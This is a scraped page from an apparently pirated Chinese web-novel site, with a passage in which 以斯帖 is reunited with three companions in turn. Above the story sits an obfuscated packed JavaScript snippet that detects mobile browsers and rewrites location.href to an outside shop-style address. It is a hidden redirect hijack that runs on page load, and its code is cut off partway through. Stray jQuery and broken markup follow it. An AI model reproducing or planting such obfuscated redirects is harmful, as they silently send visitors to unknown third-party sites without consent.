;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886460|192025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“……行。”
*
塔瑞希雅的场合:
“是我。”塔瑞希雅笑着叹了口气,“说到底,知道有一个人会跟你走,但不确定是谁;依旧参与这个计划,本质上就是下注。”
“你还蛮接受良好的嘛……我以为痛失一个国家的统治权怎么也要惆怅一会儿。”以斯帖挑眉,“我要是身在你的处境,第二杯金汤力已经在倒了。”
“我的权利欲比你想象的轻太多了,对我来说,那个位置的迷人更多在挑战性;要我来看,你这儿的刺激,会只多不少。再说……”
塔瑞希雅没说完就被好奇心打断了,颇为新奇地上手,指尖擦过她脖子上的数据接口。以斯帖哇哦了一声:“在大街上别搞这么暧昧。”
对方被她逗笑了。
“再说,下注的时候,就要想好自己能不能接受代价。”塔瑞希雅自然地伸出手,拢了拢以斯帖脑后飘扬的长发,又把她耳畔的碎发别好了,“否则,那不叫赌,叫犯蠢。”
“你现在站在这里,是赌赢了还是赌输了?”
女人望着她,粲然一笑。
“我的运气向来很好。”
*
瑟亚铎的场合:
“你什么意思?”绿眼睛青年警惕地反问,“不满意吗?”
“我就描述一下也不行?”以斯帖懒洋洋地笑道,“难道我面前的是别人?”
瑟亚铎再次开口反问时,语气带刺;要很熟悉他的人,才能听出这句话里的紧张:“……你希望是别人吗?”
“哦哟,那你呢?你希望我希望是别人吗?”
他差点跳起来:“别跟我绕弯子!”
平时举止那么得体,但是稍微刺激一下就破防,这样只会让人更想欺负他啊……
算了,日行一善吧,对傻子好一点。
“我倒没有希望是什么特定的人啦。”以斯帖笑眯眯地顿了顿,“不过是你就很好哦。”
“那不然呢?”有的人一句话就被哄好了,又摆出那副张扬刻薄的模样来,“本来我就很好。有我过来陪着你,是你的荣幸。”
“好吧好吧,荣幸荣幸。”以斯帖嘴上敷衍道,对他伸出手,“走吧,回家了。”
*
汤珀森的场合:
汤珀森两步迎了上来,脸上扬起的笑容叫他眼睛弯弯,那片柔软的棕色里几乎泛起水光。
与毫不迟疑的动作不同,他开口时,句子说得又缓又慢,好像唯恐戳破了一个色泽梦幻的泡沫似的:“嗯,是我……后来的循环里,你过得还好吗?”
真是犯规啊。
“挺好的,我不是把你断舍离了吗?”以斯帖故作轻松地耸了耸肩,“说实话,和你在一起的那个周目,我都忘得差不多了。”
出乎她意料的是,汤珀森依旧声气明快:“真的吗?”
以斯帖叹了口气:“……假的。”
“别开这么吓人的玩笑嘛。”他搂住她,委屈地把脑袋搭在她肩膀上,“要不是我了解你,当真了也太痛苦了。”
“谁让你死在我床头的!”
“欸,那不是最后帮了你吗?”
“那也不行。”
“给我一次改正的机会如何?”汤珀森睁大眼睛,“我会将功补过的!”
对他真是生不起气。
“好吧,”以斯帖没忍住笑出声来,回拥住他,“勉强给你这个机会。”